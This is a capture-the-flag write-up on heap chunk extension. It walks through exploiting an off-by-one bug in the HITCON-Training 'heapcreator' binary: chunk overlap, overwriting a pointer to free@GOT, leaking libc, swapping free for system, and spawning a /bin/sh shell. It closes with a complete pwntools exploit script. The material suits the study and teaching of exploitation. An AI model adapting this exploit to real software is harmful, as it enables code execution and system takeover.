Heap Extension Mechanism
Chunk extension is a common heap exploitation technique that enables chunk overlapping. Successful deployment requires two core prerequisites:
- A heap-based vulnerability exists in the target binary
- The vulnerability allows manipulation of chunk header metadata
This approach rarely grants direct control over program execution flow, but it provides arbitrary read/write access to overlapping heap regions. If these regions contain sensitive data like function pointers or GOT entries, attackers can leverage them for information leaks and subsequent execution hijacking.
Lab Walkthrough: HITCON-Tarining heapcreator
Binary Overview
The target is a classic menu-driven heap management program with four core operations:
Allocation Operation
Each allocation creates a fixed-size (0x20) header chunk and a user-controlled data chunk. The wrapper function structure simplifies interaction:
def allocate_chunk(user_size, data):
io.recvuntil(b"Your choice :")
io.sendline(b"1")
io.recvuntil(b"Size of Heap : ")
io.sendline(str(user_size))
io.recvuntil(b"Content of heap:")
io.send(data)
Edit Operation
This function contains a critical off-by-one vulnerability: it writes one extra byte beyond the allocated data chunk, which overwrites the least significant byte of the next header chunk's size field.
def modify_chunk(index, payload):
io.recvuntil(b"Your choice :")
io.sendline(b"2")
io.recvuntil(b"Index :")
io.sendline(str(index))
io.recvuntil(b"Content of heap : ")
io.sendline(payload)
Display Operation
Prints the content of a specified data chunk, useful for leaking memory addresses.
def display_chunk(index):
io.recvuntil(b"Your choice :")
io.sendline(b"3")
io.recvuntil(b"Index :")
io.sendline(str(index))
io.recvuntil(b"Content : ")
Deallocation Operation
Frees both the header chunk and corresponding data chunk for a given index.
def release_chunk(index):
io.recvuntil(b"Your choice :")
io.sendline(b"4")
io.recvuntil(b"Index :")
io.sendline(str(index))
Exploitation Workflow
- Initial Allocations: Create two small chunks to set up the heap layout. For clarity, we refer to header chunks as
hXand data chunks asdX:
allocate_chunk(0x18, b"x"*8) # h0, d0
allocate_chunk(0x18, b"y"*8) # h1, d1
- Off-by-One Trigger: Write
/bin/shintod0, pad with junk to fill the data chunk, then overwriteh1's size field to0x41using the off-by-one bug. This tricks the allocator into treatingh1andd1as a single 0x40-byte chunk:
overflow_payload = b"/bin/sh\x00" + b"z"*0x10 + b"\x41"
modify_chunk(0, overflow_payload)
- Trigger Overlap-Free: Free the second chunk. Since the allocator now sees
h1+d1as a single 0x40-byte chunk, both are linked into the fastbin:
release_chunk(1)
-
Reallocate to Swap Roles: Request a 0x30-byte chunk (which requires a 0x40-byte heap chunk). The allocator returns the previously freed
h1+d1region, but now the new header chunkh1_newoccupies the oldd1, and the new data chunkd1_newoccupies the oldh1.Write a payload to
d1_new(oldh1) that overwritesh1_new's data pointer to point to the GOT entry offree:
swap_payload = p64(0)*4 + p64(0x30) + p64(elf.got["free"])
allocate_chunk(0x30, swap_payload)
- Leak Libc Base: Use the display function on index 1 to read the contents of
free@GOT, then calculate the libc base address:
display_chunk(1)
leaked_free = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = leaked_free - libc.symbols["free"]
system_addr = libc_base + libc.symbols["system"]
- Hijack GOT Entry: Overwrite
free@GOTwith the address ofsystemusing the modify function:
modify_chunk(1, p64(system_addr))
- Get Shell: Trigger
free(d0)(which now executessystem("/bin/sh")) by releasing chunk 0:
release_chunk(0)
io.interactive()
Full Exploit Script
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-v"]
elf = ELF("./heapcreator")
libc = ELF("./libc.so.6")
io = process("./heapcreator")
# Uncomment for remote exploitation
# io = remote("target.host", 12345)
def log_success(label, addr):
print(f"\033[32m[+] {label}: {hex(addr)}\033[0m")
def allocate_chunk(user_size, data):
io.recvuntil(b"Your choice :")
io.sendline(b"1")
io.recvuntil(b"Size of Heap : ")
io.sendline(str(user_size))
io.recvuntil(b"Content of heap:")
io.send(data)
def modify_chunk(index, payload):
io.recvuntil(b"Your choice :")
io.sendline(b"2")
io.recvuntil(b"Index :")
io.sendline(str(index))
io.recvuntil(b"Content of heap : ")
io.sendline(payload)
def display_chunk(index):
io.recvuntil(b"Your choice :")
io.sendline(b"3")
io.recvuntil(b"Index :")
io.sendline(str(index))
io.recvuntil(b"Content : ")
def release_chunk(index):
io.recvuntil(b"Your choice :")
io.sendline(b"4")
io.recvuntil(b"Index :")
io.sendline(str(index))
# Step 1: Initial setup
allocate_chunk(0x18, b"x"*8)
allocate_chunk(0x18, b"y"*8)
# Step 2: Off-by-one to extend chunk size
overflow_payload = b"/bin/sh\x00" + b"z"*0x10 + b"\x41"
modify_chunk(0, overflow_payload)
# Step 3: Free extended chunk
release_chunk(1)
# Step 4: Reallocate to swap header/data roles
swap_payload = p64(0)*4 + p64(0x30) + p64(elf.got["free"])
allocate_chunk(0x30, swap_payload)
# Step 5: Leak libc
display_chunk(1)
leaked_free = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = leaked_free - libc.symbols["free"]
system_addr = libc_base + libc.symbols["system"]
log_success("Libc Base", libc_base)
log_success("System Address", system_addr)
# Step 6: Overwrite free@GOT with system
modify_chunk(1, p64(system_addr))
# Step 7: Get shell
release_chunk(0)
io.interactive()